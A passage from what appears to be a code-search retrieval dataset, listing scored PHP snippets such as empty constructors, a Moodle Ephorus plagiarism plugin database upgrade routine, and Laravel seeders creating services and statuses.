"0.4939386", "text": "protected function _postUpdate() {\n\t}", "title": "" }, { "docid": "1df4df0328b29c0c7973d613a9b1f9d3", "score": "0.4937084", "text": "private function __construct()\n {\n\treturn;\n }", "title": "" }, { "docid": "79803bddf0efa770d37facd4d9eac44c", "score": "0.49352223", "text": "public function _pre()\n {\n \n }", "title": "" }, { "docid": "013b718d116281947eb579bda02e736b", "score": "0.49318618", "text": "protected function before()\n\t{\n\t}", "title": "" }, { "docid": "2c7f310971e413362d9c3e9fc45f752c", "score": "0.49077904", "text": "private function __construct() {\r\n\t\t\r\n\t}", "title": "" }, { "docid": "4543beb119b71c481316fbed7caa4ab0", "score": "0.4897984", "text": "function yy_r184()\r\n {\r\n return;\r\n }", "title": "" }, { "docid": "638fefeecebdc1314c5448ab28dd077c", "score": "0.4882281", "text": "function xmldb_plagiarism_ephorus_upgrade($oldversion = 0) {\n global $DB;\n $dbman = $DB->get_manager();\n\n $result = true;\n\n if ($result && $oldversion < 2012073124) {\n /* Rename the table fields to a better size (< 30) */\n $document = new xmldb_table('ephorus_document');\n $duplicateguid = new xmldb_field('duplicate_original_guid', XMLDB_TYPE_CHAR);\n if ($dbman->field_exists($document, $duplicateguid)) {\n $dbman->rename_field($document, $duplicateguid, 'duplicate_guid');\n }\n $duplicatename = new xmldb_field('duplicate_original_studentname', XMLDB_TYPE_CHAR);\n if ($dbman->field_exists($document, $duplicatename)) {\n $dbman->rename_field($document, $duplicatename, 'duplicate_studentname');\n }\n $duplicatenumber = new xmldb_field('duplicate_original_studentnumber', XMLDB_TYPE_CHAR);\n if ($dbman->field_exists($document, $duplicatenumber)) {\n $dbman->rename_field($document, $duplicatenumber, 'duplicate_studentnumber');\n }\n\n set_config('ephorus_usecron', 1, 'plagiarism');\n set_config('ephorus_logging', 1, 'plagiarism');\n\n\tupgrade_plugin_savepoint(true, 2012073124, 'plagiarism', 'ephorus');\n }\n if ($result && $oldversion < 2013041024) {\n $document = new xmldb_table('ephorus_document');\n $duplicatename = new xmldb_field('duplicate_studentname', XMLDB_TYPE_CHAR);\n if ($dbman->field_exists($document, $duplicatename)) {\n $dbman->rename_field($document, $duplicatename, 'duplicate_student_name');\n }\n $duplicatenumber = new xmldb_field('duplicate_studentnumber', XMLDB_TYPE_CHAR);\n if ($dbman->field_exists($document, $duplicatenumber)) {\n $dbman->rename_field($document, $duplicatenumber, 'duplicate_student_number');\n }\n $status_desc = new xmldb_field('status_description', XMLDB_TYPE_CHAR);\n if ($dbman->field_exists($document, $status_desc)) {\n $dbman->rename_field($document, $status_desc, 'error');\n }\n\n $res_table = new xmldb_table('ephorus_result');\n $diff = new xmldb_field('diff', XMLDB_TYPE_TEXT, 'long');\n if ($dbman->field_exists($res_table, $diff)) {\n $dbman->rename_field($res_table, $diff, 'comparison');\n }\n\n $DB->set_field('ephorus_document', 'status', 99, array('status' => 7));\n\n\tupgrade_plugin_savepoint(true, 2013041024, 'plagiarism', 'ephorus');\n }\n if ($result && $oldversion < 2013052224) {\n $document = new xmldb_table('ephorus_document');\n $date = new xmldb_field('date', XMLDB_TYPE_CHAR);\n if ($dbman->field_exists($document, $date)) {\n $dbman->rename_field($document, $date, 'date_created');\n }\n\n if($ephorus_id = $DB->get_field('tool_customlang_components', 'id', array('name' => 'plagiarism_ephorus'))) {\n $DB->delete_records('tool_customlang', array('componentid' => $ephorus_id));\n }\n\n\tupgrade_plugin_savepoint(true, 2013052224, 'plagiarism', 'ephorus');\n }\n if ($result && $oldversion < 2013080524) {\n set_config('use_cron', get_config('plagiarism')->ephorus_usecron, 'plagiarism_ephorus');\n unset_config('ephorus_usecron', 'plagiarism');\n \n set_config('logging', get_config('plagiarism')->ephorus_logging, 'plagiarism_ephorus');\n unset_config('ephorus_logging', 'plagiarism');\n \n set_config('handin_code', get_config('plagiarism')->ephorus_handincode, 'plagiarism_ephorus');\n unset_config('ephorus_handincode', 'plagiarism');\n \n set_config('handin_address', get_config('plagiarism')->ephorus_handinaddress, 'plagiarism_ephorus');\n unset_config('ephorus_handinaddress', 'plagiarism');\n \n set_config('index_address', get_config('plagiarism')->ephorus_indexaddress, 'plagiarism_ephorus');\n unset_config('ephorus_indexaddress', 'plagiarism');\n \n set_config('processtype', get_config('plagiarism')->ephorus_processtype, 'plagiarism_ephorus');\n unset_config('ephorus_processtype', 'plagiarism');\n \n set_config('student_disclosure', get_config('plagiarism')->ephorus_studentdisclosure, 'plagiarism_ephorus');\n unset_config('ephorus_studentdisclosure', 'plagiarism');\n\n\tupgrade_plugin_savepoint(true, 2013080524, 'plagiarism', 'ephorus');\n }\n if ($result && $oldversion < 2013080924.04) {\n $document_table = new xmldb_table('ephorus_document');\n $result_table = new xmldb_table('ephorus_result');\n $percentage_field = new xmldb_field('percentage', XMLDB_TYPE_INTEGER, 3);\n\n if ($dbman->field_exists($document_table, $percentage_field)) {\n $dbman->change_field_type($document_table, $percentage_field);\n $dbman->change_field_precision($document_table, $percentage_field);\n }\n \n if ($dbman->field_exists($result_table, $percentage_field)) {\n $dbman->change_field_type($result_table, $percentage_field);\n $dbman->change_field_precision($result_table, $percentage_field);\n }\n\n $compressed_field = new xmldb_field('compressed', XMLDB_TYPE_INTEGER, 1, XMLDB_UNSIGNED, false, false, 0, 'summary');\n if (!$dbman->field_exists($document_table, $compressed_field)) {\n $dbman->add_field($document_table, $compressed_field);\n }\n \n $compressed_field = new xmldb_field('compressed', XMLDB_TYPE_INTEGER, 1, XMLDB_UNSIGNED, false, false, 0, 'comparison');\n if (!$dbman->field_exists($result_table, $compressed_field)) {\n $dbman->add_field($result_table, $compressed_field);\n }\n\n\tupgrade_plugin_savepoint(true, 2013080924.04, 'plagiarism', 'ephorus');\n }\n if ($result && $oldversion < 2013080924.08) {\n // Ephorus Assignment\n $assignment_table = new xmldb_table('ephorus_assignment');\n $assignment_assignment = new xmldb_field('assignment', XMLDB_TYPE_INTEGER, 10);\n if ($dbman->field_exists($assignment_table, $assignment_assignment)) {\n $dbman->change_field_type($assignment_table, $assignment_assignment);\n $dbman->change_field_precision($assignment_table, $assignment_assignment);\n }\n $assignment_processtype = new xmldb_field('processtype', XMLDB_TYPE_INTEGER, 1);\n if ($dbman->field_exists($assignment_table, $assignment_processtype)) {\n $dbman->change_field_type($assignment_table, $assignment_processtype);\n $dbman->change_field_precision($assignment_table, $assignment_processtype);\n }\n \n // Ephorus Document\n $document_table = new xmldb_table('ephorus_document');\n $document_filename = new xmldb_field('filename', XMLDB_TYPE_CHAR, 255);\n if ($dbman->field_exists($document_table, $document_filename)) {\n $dbman->change_field_type($document_table, $document_filename);\n $dbman->change_field_precision($document_table, $document_filename);\n }\n $document_contenthash = new xmldb_field('contenthash', XMLDB_TYPE_CHAR, 55);\n if ($dbman->field_exists($document_table, $document_contenthash)) {\n $dbman->change_field_type($document_table, $document_contenthash);\n $dbman->change_field_precision($document_table, $document_contenthash);\n }\n $document_student_name = new xmldb_field('student_name', XMLDB_TYPE_CHAR, 60);\n if ($dbman->field_exists($document_table, $document_student_name)) {\n $dbman->change_field_type($document_table, $document_student_name);\n $dbman->change_field_precision($document_table, $document_student_name);\n }\n $document_student_number = new xmldb_field('student_number', XMLDB_TYPE_CHAR, 25);\n if ($dbman->field_exists($document_table, $document_student_number)) {\n $dbman->change_field_type($document_table, $document_student_number);\n $dbman->change_field_precision($document_table, $document_student_number);\n }\n $document_date_created = new xmldb_field('date_created', XMLDB_TYPE_CHAR, 255);\n if ($dbman->field_exists($document_table, $document_date_created)) {\n $dbman->change_field_type($document_table, $document_date_created);\n $dbman->change_field_precision($document_table, $document_date_created);\n }\n $document_percentage = new xmldb_field('percentage', XMLDB_TYPE_INTEGER, 3);\n if ($dbman->field_exists($document_table, $document_percentage)) {\n $dbman->change_field_type($document_table, $document_percentage);\n $dbman->change_field_precision($document_table, $document_percentage);\n }\n $document_duplicate_original_guid = new xmldb_field('duplicate_original_guid', XMLDB_TYPE_CHAR);\n if ($dbman->field_exists($document_table, $document_duplicate_original_guid)) {\n $dbman->rename_field($document_table, $document_duplicate_original_guid, 'duplicate_guid');\n }\n $document_duplicate_guid = new xmldb_field('duplicate_guid', XMLDB_TYPE_CHAR, 36);\n if ($dbman->field_exists($document_table, $document_duplicate_guid)) {\n $dbman->change_field_type($document_table, $document_duplicate_guid);\n $dbman->change_field_precision($document_table, $document_duplicate_guid);\n }\n $document_duplicate_original_studentname = new xmldb_field('duplicate_original_studentname', XMLDB_TYPE_CHAR);\n if ($dbman->field_exists($document_table, $document_duplicate_original_studentname)) {\n $dbman->rename_field($document_table, $document_duplicate_original_studentname, 'duplicate_studentname');\n }\n $document_duplicate_student_name = new xmldb_field('duplicate_student_name', XMLDB_TYPE_CHAR, 60);\n if ($dbman->field_exists($document_table, $document_duplicate_student_name)) {\n $dbman->change_field_type($document_table, $document_duplicate_student_name);\n $dbman->change_field_precision($document_table, $document_duplicate_student_name);\n }\n $document_duplicate_original_studentnumber = new xmldb_field('duplicate_original_studentnumber', XMLDB_TYPE_CHAR);\n if ($dbman->field_exists($document_table, $document_duplicate_original_studentnumber)) {\n $dbman->rename_field($document_table, $document_duplicate_original_studentnumber, 'duplicate_studentnumber');\n }\n $document_duplicate_student_number = new xmldb_field('duplicate_student_number', XMLDB_TYPE_CHAR, 25);\n if ($dbman->field_exists($document_table, $document_duplicate_student_number)) {\n $dbman->change_field_type($document_table, $document_duplicate_student_number);\n $dbman->change_field_precision($document_table, $document_duplicate_student_number);\n }\n $document_status = new xmldb_field('status', XMLDB_TYPE_INTEGER, 2);\n if ($dbman->field_exists($document_table, $document_status)) {\n $dbman->change_field_type($document_table, $document_status);\n $dbman->change_field_precision($document_table, $document_status);\n }\n $document_error = new xmldb_field('error', XMLDB_TYPE_CHAR, 255, NULL);\n $document_status_description = new xmldb_field('status_description', XMLDB_TYPE_CHAR);\n if ($dbman->field_exists($document_table, $document_status_description) && $dbman->field_exists($document_table, $document_error)) {\n $dbman->drop_field($document_table, $document_status_description);\n } else if($dbman->field_exists($document_table, $document_status_description)) {\n $dbman->rename_field($document_table, $document_status_description, 'error');\n }\n if ($dbman->field_exists($document_table, $document_error)) {\n $dbman->change_field_type($document_table, $document_error);\n $dbman->change_field_precision($document_table, $document_error);\n }\n $document_summary = new xmldb_field('summary', XMLDB_TYPE_TEXT, 'big');\n if ($dbman->field_exists($document_table, $document_summary)) {\n $dbman->change_field_type($document_table, $document_summary);\n $dbman->change_field_precision($document_table, $document_summary);\n }\n $document_compressed = new xmldb_field('compressed', XMLDB_TYPE_INTEGER, 1);\n if ($dbman->field_exists($document_table, $document_compressed)) {\n $dbman->change_field_type($document_table, $document_compressed);\n $dbman->change_field_precision($document_table, $document_compressed);\n }\n $document_visible = new xmldb_field('visible', XMLDB_TYPE_INTEGER, 1);\n if ($dbman->field_exists($document_table, $document_visible)) {\n $dbman->change_field_type($document_table, $document_visible);\n $dbman->change_field_precision($document_table, $document_visible);\n }\n $document_processtype = new xmldb_field('processtype', XMLDB_TYPE_INTEGER, 1);\n if ($dbman->field_exists($document_table, $document_processtype)) {\n $dbman->change_field_type($document_table, $document_processtype);\n $dbman->change_field_precision($document_table, $document_processtype);\n }\n $document_submission = new xmldb_field('submission', XMLDB_TYPE_INTEGER, 10);\n if ($dbman->field_exists($document_table, $document_submission)) {\n $dbman->change_field_type($document_table, $document_submission);\n $dbman->change_field_precision($document_table, $document_submission);\n }\n\n // Ephorus Result\n $result_table = new xmldb_table('ephorus_result');\n $result_guid = new xmldb_field('guid', XMLDB_TYPE_CHAR, 50);\n if ($dbman->field_exists($result_table, $result_guid)) {\n $dbman->change_field_type($result_table, $result_guid);\n $dbman->change_field_precision($result_table, $result_guid);\n }\n $result_original_guid = new xmldb_field('original_guid', XMLDB_TYPE_CHAR, 50);\n if ($dbman->field_exists($result_table, $result_original_guid)) {\n $dbman->change_field_type($result_table, $result_original_guid);\n $dbman->change_field_precision($result_table, $result_original_guid);\n }\n $result_url = new xmldb_field('url', XMLDB_TYPE_TEXT, 'medium');\n if ($dbman->field_exists($result_table, $result_url)) {\n $dbman->change_field_type($result_table, $result_url);\n $dbman->change_field_precision($result_table, $result_url);\n }\n $result_type = new xmldb_field('type', XMLDB_TYPE_CHAR, 100);\n if ($dbman->field_exists($result_table, $result_type)) {\n $dbman->change_field_type($result_table, $result_type);\n $dbman->change_field_precision($result_table, $result_type);\n }\n $result_percentage = new xmldb_field('percentage', XMLDB_TYPE_INTEGER, 3);\n if ($dbman->field_exists($result_table, $result_percentage)) {\n $dbman->change_field_type($result_table, $result_percentage);\n $dbman->change_field_precision($result_table, $result_percentage);\n }\n $result_comparison = new xmldb_field('comparison', XMLDB_TYPE_TEXT, 'big');\n if ($dbman->field_exists($result_table, $result_comparison)) {\n $dbman->change_field_type($result_table, $result_comparison);\n $dbman->change_field_precision($result_table, $result_comparison);\n }\n $result_compressed = new xmldb_field('compressed', XMLDB_TYPE_INTEGER, 1);\n if ($dbman->field_exists($result_table, $result_compressed)) {\n $dbman->change_field_type($result_table, $result_compressed);\n $dbman->change_field_precision($result_table, $result_compressed);\n }\n $result_student_name = new xmldb_field('student_name', XMLDB_TYPE_CHAR, 100);\n if ($dbman->field_exists($result_table, $result_student_name)) {\n $dbman->change_field_type($result_table, $result_student_name);\n $dbman->change_field_precision($result_table, $result_student_name);\n }\n $result_student_number = new xmldb_field('student_number', XMLDB_TYPE_CHAR, 100);\n if ($dbman->field_exists($result_table, $result_student_number)) {\n $dbman->change_field_type($result_table, $result_student_number);\n $dbman->change_field_precision($result_table, $result_student_number);\n }\n\n\tupgrade_plugin_savepoint(true, 2013080924.08, 'plagiarism', 'ephorus');\n }\n if ($result && $oldversion < 2014051500.02) {\n $assignment_table = new xmldb_table('ephorus_assignment');\n $dbman->rename_table($assignment_table, 'plagiarism_eph_assignment');\n \n $document_table = new xmldb_table('ephorus_document');\n $dbman->rename_table($document_table, 'plagiarism_eph_document');\n\n $result_table = new xmldb_table('ephorus_result');\n $dbman->rename_table($result_table, 'plagiarism_eph_result');\n\n upgrade_plugin_savepoint(true, 2014051500.02, 'plagiarism', 'ephorus');\n }\n return $result;\n}", "title": "" }, { "docid": "84d31b4e37874c89f74295e32a9f3c87", "score": "0.48686314", "text": "protected function init()\n {\n \n }", "title": "" }, { "docid": "dfdc142c3bd29c1705e38e5da1f338f0", "score": "0.48613384", "text": "private function _clean() {\n\t\t$this->__construct();\n\t}", "title": "" }, { "docid": "a6616f0de4c3a2ec33f58e2c49af602f", "score": "0.48582143", "text": "private function __construct ()\n\t{\n\t\t;\n\t}", "title": "" }, { "docid": "903afe11294fb6e3b0002eda8aec2a45", "score": "0.4856097", "text": "private function __construct() {\r\n\t\t\t\r\n\t\t}", "title": "" }, { "docid": "5c57e04792da641aaae977c0965afbbf", "score": "0.4855752", "text": "public function testApplicationIdStageNextInterviewPost()\n {\n }", "title": "" }, { "docid": "cc35a38190ee86ab85e1ab6f2444eff8", "score": "0.48545775", "text": "private function __construct()\n\t{\n\t\t;\n\t}", "title": "" }, { "docid": "57935b9bd57ce4fc0ce7ffdab86b3450", "score": "0.485098", "text": "private function __construct() \n\t{\n\t \n\t}", "title": "" }, { "docid": "5b74c2aa9639dc9e6b8f089a4a024858", "score": "0.4850062", "text": "public function fix()\n {\n return [];\n }", "title": "" }, { "docid": "a61d14950ea0b5c78dc0163d5e54bcb2", "score": "0.48499072", "text": "private function _cleanup_imported_ids(){\n\n\t\t}", "title": "" }, { "docid": "fe1b89748a5088c3985d163f049944ca", "score": "0.48347604", "text": "private function _prepareMWdata() { // some Indian code here\r\n\t\t// arrange namespace aliases by namespace id\r\n\t\t$aliases = $this->_storage['namespacealiases'];\r\n\t\t$this->_deleteStorage('namespacealiases');\r\n\t\t\r\n\t\tforeach($aliases as $alias) {\r\n\t\t\t$namespacealiases[$alias['id']][] = $alias['*'];\r\n\t\t}\r\n\t\t$this->_appendStorage('namespacealiases', $namespacealiases);\r\n\t\t\r\n\t\t// arrange magic words by magic word name\r\n\t\t$mwold = $this->_storage['magicwords'];\r\n\t\t$this->_deleteStorage('magicwords');\r\n\t\t\r\n\t\tforeach($mwold as $magicword) {\r\n\t\t\t$magicwords[$magicword['name']] = $magicword['aliases'];\r\n\t\t}\r\n\t\t$this->_appendStorage('magicwords', $magicwords);\r\n\t\t\r\n\t\t\r\n\t}", "title": "" } ]
ef1190e5fc69a19fec9c996433704c8e
end function Create an instance of the Front Statuses Model using the Service Manager
[ { "docid": "5a0888817107ba9f2a32675024619f1f", "score": "0.0", "text": "private function getFrontStatusesModel()\n\t{\n\t\tif (!$this->model_statuses)\n\t\t{\n\t\t\t$this->model_statuses = $this->getServiceLocator()->get(\"FrontStatuses\\Models\\FrontContactStatusesModel\");\n\t\t}//end if\n\n\t\treturn $this->model_statuses;\n\t}", "title": "" } ]
[ { "docid": "84ffbde2d4f6e42974254345f186d5a6", "score": "0.60196584", "text": "public function run()\n {\n Services::create([\n 'service_type' => 'pickup And Delivery',\n 'service_price' => '50',\n 'urgent_price' => '90',\n 'weight_limit' => '100',\n 'weight_minimum' => '20', \n 'weight_extra' => '1', \n 'weight_extra_price' => '10', \n 'dimensions_limit' => '100', \n 'dimensions_minimum' => '10', \n 'dimensions_extra' => '1', \n 'dimensions_extra_price' => '1', \n 'distance_limit' => '1000', \n 'distance_minimum' => '60', \n 'distance_extra' => '1', \n 'distance_extra_price' => '0.69', \n 'driver_percentage' => '40',\n 'service_percentage' => '20'\n \n ]);\n }", "title": "" }, { "docid": "d8b8b1af18c210731c58b07df524107b", "score": "0.6006706", "text": "public function run()\n {\n App\\Service::create([\n 'title' => 'Henna',\n 'description' => 'Henna e desinger',\n 'value' => 20.20,\n\n ]);\n }", "title": "" }, { "docid": "d90ce3017847f291d1652bb9599db0b1", "score": "0.59869397", "text": "public function run()\n {\n Service::create(['code' => 'S1', 'name' => 'Customer Service']);\n Service::create(['code' => 'S2', 'name' => 'Deposit']);\n Service::create(['code' => 'S3', 'name' => 'Other Services']);\n }", "title": "" }, { "docid": "35ebd3e60368817e23c8871acc962d99", "score": "0.5969329", "text": "function __construct(){\n\t\t\t$this->modelo = new ServicioBss();\n\t\t}", "title": "" }, { "docid": "4ff472fdf823e6809689b8204890f4ea", "score": "0.5955975", "text": "public function run()\n {\n $data = [\n [\n 'title' => 'church service',\n 'church_id' => 1,\n ],\n\n [\n 'title' => 'music concert',\n 'church_id' => 1,\n ],\n\n [\n 'title' => 'crusade',\n 'church_id' => 1,\n ],\n\n [\n 'title' => 'special event',\n 'church_id' => 1,\n ],\n\n \n\n ];\n\n foreach ($data as $type) {\n ServiceType::create($type);\n\n }\n }", "title": "" }, { "docid": "2c614c8f5cca003d28d2595c3b397124", "score": "0.5858137", "text": "public function run()\n {\n $salesman_type = new SalesmanType;\n $salesman_type->name = \"Salesman\";\n $salesman_type->code = \"ST001\";\n $salesman_type->status = 1;\n $salesman_type->save();\n\n $salesman_type = new SalesmanType;\n $salesman_type->name = \"Merchandise\";\n $salesman_type->code = \"ST002\";\n $salesman_type->status = 1;\n $salesman_type->save();\n }", "title": "" }, { "docid": "46e99d830ace83028b11a9d3559e9c1d", "score": "0.58245665", "text": "public function run()\n {\n Contractstatus::create([\"name\" => \"applicant (jelentkező)\", \"order\" => 10]);\n Contractstatus::create([\"name\" => \"accepted (elfogadva)\", \"order\" => 20]);\n Contractstatus::create([\"name\" => \"revoked (visszavonva)\", \"order\" => 30]);\n Contractstatus::create([\"name\" => \"rejected (elutasítva)\", \"order\" => 40]);\n Contractstatus::create([\"name\" => \"closed (lezárva)\", \"order\" => 50]);\n }", "title": "" }, { "docid": "de34af38048328e75585f095cea69ca0", "score": "0.5815002", "text": "public function create () {\n\t\t//\n\t}", "title": "" }, { "docid": "93c2e347b87e39b2cecf1a935be52d6c", "score": "0.5812113", "text": "public function run()\n {\n Service::create([\n 'title' => 'Electricity',\n 'description'=> 'services refer to basic services that residents of a city expect the city government to provide in exchange for the taxes which citizens pay.',\n 'price'=> '10000'\n ]);\n \n Service::create([\n 'title' => 'Security',\n 'description'=> 'services refer to basic services that residents of a city expect the city government to provide in exchange for the taxes which citizens pay.',\n 'price'=> '5000'\n ]);\n \n Service::create([\n 'title' => 'Gas',\n 'description'=> 'services refer to basic services that residents of a city expect the city government to provide in exchange for the taxes which citizens pay.',\n 'price'=> '7000'\n ]);\n \n Service::create([\n 'title' => 'Water Supply',\n 'description'=> 'services refer to basic services that residents of a city expect the city government to provide in exchange for the taxes which citizens pay.',\n 'price'=> '4000'\n ]);\n \n \n }", "title": "" }, { "docid": "34883d36c5a6a2d91d7ac46fcda0f75f", "score": "0.58064777", "text": "public function create()\n {\n //\n\t\t return view('admin.service.create');\n\n\t\t\n }", "title": "" }, { "docid": "8aebf7876748ba839719ba3d59c31dd6", "score": "0.5801287", "text": "public function create ()\n {\n //\n }", "title": "" }, { "docid": "d425df5ea98efe48904e4c85c5e51b71", "score": "0.58004993", "text": "public function run()\n {\n $services = [\n 'Tv',\n 'Aria condizionata',\n 'Wi-Fi',\n 'Minibar',\n 'Camera insonorizzata',\n 'Terrazza',\n 'Caffettiera',\n 'Camera per disabili'\n ];\n\n foreach($services as $service){\n $newService = new Service();\n $newService->name = $service;\n $newService->save();\n }\n }", "title": "" }, { "docid": "698542d4ce60131eb64c9360254a8772", "score": "0.57987785", "text": "public function create() {\n\n\n\n\t\t}", "title": "" }, { "docid": "99a780bed89dd8d7c685faa869827df3", "score": "0.5784416", "text": "public function run()\n {\n\n $tipoAvisoSistema1 = factory(\\App\\Modules\\Sisadm\\Models\\TipoAvisoSistema::class)->create([\n 'no_tipo_aviso_sistema' => 'Notificação' \n ]);\n\n $tipoAvisoSistema2 = factory(\\App\\Modules\\Sisadm\\Models\\TipoAvisoSistema::class)->create([\n 'no_tipo_aviso_sistema' => 'Pendência' \n ]);\n\n $tipoAvisoSistema3 = factory(\\App\\Modules\\Sisadm\\Models\\TipoAvisoSistema::class)->create([\n 'no_tipo_aviso_sistema' => 'Atualização' \n ]);\n\n }", "title": "" }, { "docid": "7cca01712dc53ac85f19735c65688397", "score": "0.5781548", "text": "public function run()\n {\n \t$status = new Status;\n\t $status->name = 'Available';\n\t $status->save();\n\n $status = new Status;\n $status->name = 'Pending';\n $status->save();\n\n $status = new Status;\n $status->name = 'Unavailable';\n $status->save();\n }", "title": "" }, { "docid": "9a462ab3f38fdd99844e3e9d78c166e3", "score": "0.57767653", "text": "public function create() {\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "c784765edc3138739bfce52f3fca73b1", "score": "0.5759196", "text": "public function create()\n {\n return view('manager.service.create'); \n }", "title": "" }, { "docid": "f736cebfa944357f1e3d5a43d3cb048c", "score": "0.57565683", "text": "public function run()\n {\n factory(App\\Models\\Sector::class, 10)->create()->each(function($s) {\n $s->serviceTypes()->save(factory(App\\Models\\ServiceType::class)->make());\n });\n }", "title": "" }, { "docid": "31bc3edcb9d012ef95337f2ed23822d0", "score": "0.57516503", "text": "public function run()\n {\n statusesModel::create([\"name\"=>\"Activo\",\"type_status_id\"=>1]);\n statusesModel::create([\"name\"=>\"Inactivo\",\"type_status_id\"=>2]);\n statusesModel::create([\"name\"=>\"Indefinido\",\"type_status_id\"=>3]);\n statusesModel::create([\"name\"=>\"Pendiente\",\"type_status_id\"=>3]);\n statusesModel::create([\"name\"=>\"Solicitado\",\"type_status_id\"=>1]);\n statusesModel::create([\"name\"=>\"En deudas\",\"type_status_id\"=>1]);\n statusesModel::create([\"name\"=>\"Prueba\",\"type_status_id\"=>2]);\n statusesModel::create([\"name\"=>\"Cancelado\",\"type_status_id\"=>3]);\n statusesModel::create([\"name\"=>\"En riesgo\",\"type_status_id\"=>1]);\n statusesModel::create([\"name\"=>\"Expirado\",\"type_status_id\"=>2]);\n }", "title": "" }, { "docid": "e15b37983e0a97cf3dbe852583f4eb27", "score": "0.5748991", "text": "public function run()\n {\n $statuses = [\n 'month_id' => 4,\n \"year\" => 2018,\n \"name\" => \"mese de ...\",\n 'discount_old' => 10,\n 'discount_common_risk' => 1.71,\n 'discount_commission' => 0.5,\n 'discount_solidary' => 0.5,\n 'discount_national' => 0,\n 'discount_rc_iva' => 13,\n 'discount_faults' => 0\n ];\n\n App\\Procedure::create($statuses);\n \n\n }", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "5609c1ee238893ec070ea6e9ac5b80bd", "score": "0.57487446", "text": "public function create() {\n\t\t//\n\t}", "title": "" }, { "docid": "3c4370f864e48e0e1555cdaa5922f8a6", "score": "0.5742454", "text": "public function run()\n {\n $statuses = [\n [\n 'Name' => 'Stoc suficient',\n 'Active' => 1,\n 'MinStockNumber' => 10,\n 'CreatedUser' => 'InitialSeed',\n\n ],\n [\n 'Name' => 'Stoc limitat',\n 'Active' => 1,\n 'MinStockNumber' => 5,\n 'CreatedUser' => 'InitialSeed',\n\n ],\n [\n 'Name' => 'Stoc epuizat',\n 'Active' => 1,\n 'MinStockNumber' => 0,\n 'CreatedUser' => 'InitialSeed',\n\n ],\n ];\n foreach($statuses as $status)\n {\n \\App\\ProductStatus::create($status);\n }\n }", "title": "" }, { "docid": "22124f95128e1cedb54704e26662fc75", "score": "0.5735904", "text": "public function run()\n {\n $services = array(\n array('type'=>'Training Session'),\n array('type'=>'Shelter Rehabilitation')\n );\n\n foreach($services as $service)\n {\n Service::updateOrCreate($service);\n }\n }", "title": "" }, { "docid": "e1446d6961f46e3ce8ee9125ee4e3a1a", "score": "0.57344717", "text": "public function run()\n\t{\n\t\tTipoServicio::truncate();\n\n\t\tTipoServicio::create(['nombre'=>'Mesa Ayuda']);\n\t\tTipoServicio::create(['nombre'=>'Programacion de Radio']);\n\t\tTipoServicio::create(['nombre'=>'Configuracion']);\n\t\tTipoServicio::create(['nombre'=>'Reparacion']);\n\t\tTipoServicio::create(['nombre'=>'Mantencion']);\n\t}", "title": "" }, { "docid": "0208fde48bc3cafe2901f90e230ebb5c", "score": "0.57313526", "text": "public function Create()\n\t\t{\n\t\t\tparent::Create();\n\t\t\t\n\t\t\t//Properties\n\t\t\t$this -> RegisterPropertyInteger(\"InstanceType\", 0);\n\t\t\t$this -> RegisterPropertyInteger(\"Instance\", 0);\n\t\t\t$this -> RegisterPropertyInteger(\"Channel\", 0);\n\t\t\t$this -> RegisterPropertyInteger(\"ChannelBits\", 0);\n\t\t\t$this -> RegisterPropertyInteger(\"StartPercentage\", 0);\n\t\t\t$this -> RegisterPropertyInteger(\"StdPercentage\", 50);\n\t\t\t$this -> RegisterPropertyInteger(\"StdDimTime\", 1);\n\n\t\t\t//StatusVariables\n\t\t\t$this->RegisterVariableBoolean(\"Status\", \"Status\", \"~Switch\");\n\t\t\t$this->EnableAction(\"Status\");\n\t\t\t$this->RegisterVariableInteger(\"Dim\", \"Dimstand\", \"DimLedSpot\");\n\t\t\t$this->EnableAction(\"Dim\");\n\t\t}", "title": "" }, { "docid": "cdaabb3243a1bb88c50cae3e7294116f", "score": "0.5731112", "text": "public function create()\n {\n // Estou utilizando uma outra tela de seleção ou cliente ou colaborador em AuxController\n }", "title": "" }, { "docid": "7632fd83aa733ee3ae602ab1e99735ec", "score": "0.5729086", "text": "public function 